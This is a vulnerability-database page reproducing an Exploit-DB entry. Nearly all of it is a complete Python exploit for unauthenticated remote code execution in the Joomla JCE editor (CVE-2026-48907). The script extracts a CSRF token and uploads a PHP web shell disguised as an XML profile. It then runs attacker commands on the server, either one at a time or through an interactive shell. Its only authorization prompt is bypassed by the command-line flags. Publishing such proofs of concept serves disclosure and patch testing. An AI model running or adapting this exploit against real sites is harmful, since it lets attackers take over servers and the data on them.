Lucene search
+L

Joomla 2.9.99.4 - Unauthenticated Remote Code Execution

🗓️ 10 Aug 2026 00:00:00Reported by Jared BritsType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 15 Views

JCE 1.0.0 through 2.9.99.4 allows unauthenticated attackers to upload PHP via profile import, enabling remote code execution (CVE-2026-48907).

Related
Code
# Exploit Title: Joomla  2.9.99.4 -Unauthenticated Remote Code Execution
# Date: 2026-07-10
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.joomla.org/
# Software Link: https://extensions.joomla.org/extension/jce/
# Version: JCE 1.0.0 through 2.9.99.4 (fixed in 2.9.99.5)
# Tested on: Joomla 3.10.11 / JCE 2.9.15 / Apache 2.4 / PHP 7.4
# CVE: CVE-2026-48907
# Description: The JCE (Joomla Content Editor) profile import functionality
# lacks proper authentication and CSRF protections. An unauthenticated
# attacker can upload a crafted XML file containing PHP code; the
# file is stored in the /tmp/ directory and can be accessed via HTTP,
# leading to remote code execution.
#
# Usage examples:
#   python3 exploit.py -u http://example.com --interactive
#   python3 exploit.py -u http://example.com --cmd "id"
#   python3 exploit.py -u http://example.com -v

import re
import sys
import argparse
import requests
from random import randint
from time import sleep
from urllib.parse import urljoin
from rich.console import Console
from rich.text import Text

console = Console()

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)


class JCEExploit:
    def __init__(self, target_url, proxy=None, verbose=False):
        self.target = target_url.rstrip('/')
        self.verbose = verbose
        self.session = requests.Session()
        self.session.verify = False

        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }

        self.filename = f"jce-{randint(1000, 9999)}.xml.php"
        self.payload = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'

    def log(self, msg, level="INFO"):
        if self.verbose or level in ["SUCCESS", "ERROR", "WARNING"]:
            level_style = {
                "INFO": "blue",
                "SUCCESS": "green",
                "ERROR": "red",
                "WARNING": "yellow"
            }
            symbol = {
                "INFO": "[*]",
                "SUCCESS": "[+]",
                "ERROR": "[-]",
                "WARNING": "[!]"
            }.get(level, "[*]")

            text = Text()
            text.append(symbol, style=level_style.get(level, "blue"))
            text.append(f" {msg}")
            console.print(text)

    def get_csrf_token(self):
        try:
            resp = self.session.get(self.target + '/', timeout=10)
            if resp.status_code != 200:
                self.log(f"Unable to reach target (HTTP {resp.status_code})", "ERROR")
                return None

            patterns = [
                r'"csrf\.token"\s*:\s*"([a-f0-9]{32})"',
                r'<input[^>]*name="([a-f0-9]{32})"[^>]*value="1"',
                r'<meta[^>]*name="csrf\.token"[^>]*content="([a-f0-9]{32})"',
                r'name="([a-f0-9]{32})"\s+value="1"',
            ]

            for pattern in patterns:
                match = re.search(pattern, resp.text, re.I)
                if match:
                    token = match.group(1)
                    self.log(f"CSRF token extracted: {token}", "SUCCESS")
                    return token

            self.log("Could not find CSRF token in the page", "ERROR")
            return None

        except requests.RequestException as e:
            self.log(f"Request failed: {e}", "ERROR")
            return None

    def upload_profile(self, token):
        if not token:
            return False

        endpoint = urljoin(self.target, '/index.php?option=com_jce')

        files = {
            'profile_file': (self.filename, self.payload, 'application/xml')
        }

        data = {
            'task': 'profiles.import',
            token: '1'
        }

        try:
            self.log(f"Uploading malicious file: {self.filename}")
            resp = self.session.post(endpoint, files=files, data=data, timeout=15)

            if resp.status_code != 200:
                self.log(f"Upload failed (HTTP {resp.status_code})", "ERROR")
                return False

            if 'success' in resp.text and 'true' in resp.text:
                self.log("Profile imported – file written to /tmp/", "SUCCESS")
                return True
            else:
                self.log("Profile import may have failed", "WARNING")
                return False

        except requests.RequestException as e:
            self.log(f"Upload request failed: {e}", "ERROR")
            return False

    def get_webshell_url(self):
        return urljoin(self.target, f'/tmp/{self.filename}')

    def execute_command(self, command):
        if not command:
            return ""
        url = self.get_webshell_url()
        try:
            resp = self.session.get(url, params={'cmd': command}, timeout=10)
            if resp.status_code == 200:
                return resp.text
            else:
                return f"[!] HTTP {resp.status_code} – command may have failed."
        except requests.RequestException as e:
            return f"[!] Request error: {e}"

    def interactive_shell(self):
        self.log("Entering interactive shell. Type 'exit' to quit.", "SUCCESS")
        console.print(f"Webshell URL: [cyan]{self.get_webshell_url()}[/cyan]\n")
        while True:
            try:
                cmd = console.input("[cyan]$> [/cyan]").strip()
                if cmd.lower() in ('exit', 'quit'):
                    break
                if cmd == "":
                    continue
                output = self.execute_command(cmd)
                print(output)
            except KeyboardInterrupt:
                print("\nExiting.")
                break

    def run(self, command=None, interactive=False):
        self.log(f"Target: {self.target}")
        self.log("Starting CVE-2026-48907 exploitation process")

        token = self.get_csrf_token()
        if not token:
            self.log("Unable to get CSRF token – JCE may not be installed or fixed.", "ERROR")
            return False

        if not self.upload_profile(token):
            self.log("Upload failed – target may be patched.", "ERROR")
            return False

        test_output = self.execute_command("echo JCE_TEST")
        if "JCE_TEST" in test_output:
            self.log("Webshell is active and responding.", "SUCCESS")
        else:
            self.log("Webshell does not respond as expected – command execution may be disabled.", "WARNING")

        if command:
            self.log(f"Executing command: {command}")
            output = self.execute_command(command)
            print(output)
            return True

        if interactive:
            self.interactive_shell()
        else:
            self.log("Exploit complete. Use --interactive to get a shell, or --cmd to run one command.", "INFO")
            self.log(f"Direct webshell URL: {self.get_webshell_url()}")

        return True


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-48907 - Joomla JCE Unauthenticated RCE',
        epilog='Examples:\n'
               '  python3 exploit.py -u http://target.com --interactive\n'
               '  python3 exploit.py -u http://target.com --cmd "id"\n'
               '  python3 exploit.py -u http://target.com -v'
    )
    parser.add_argument('-u', '--url', required=True, help='Target Joomla base URL')
    parser.add_argument('--proxy', help='HTTP proxy (e.g., http://127.0.0.1:8080)')
    parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output')
    parser.add_argument('--cmd', help='Execute a single command and exit')
    parser.add_argument('--interactive', action='store_true', help='Start an interactive shell')

    args = parser.parse_args()

    banner = Text()
    banner.append("[!] ", style="yellow")
    banner.append("CVE-2026-48907 - Joomla JCE Unauthenticated RCE Exploit\n")
    banner.append("[!] ", style="yellow")
    banner.append("Coded by K3ysTr0K3R (Jared Brits)\n")
    console.print(banner, style="bold")

    if not args.verbose and not args.cmd and not args.interactive:
        confirm = console.input("\nConfirm you are testing in an authorized environment? (y/N): ")
        if confirm.lower() != 'y':
            console.print("Exiting.")
            sys.exit(0)

    exploit = JCEExploit(args.url, args.proxy, args.verbose)
    success = exploit.run(command=args.cmd, interactive=args.interactive)

    sys.exit(0 if success else 1)


if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Aug 2026 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
CVSS 410
EPSS0.66013
SSVC
15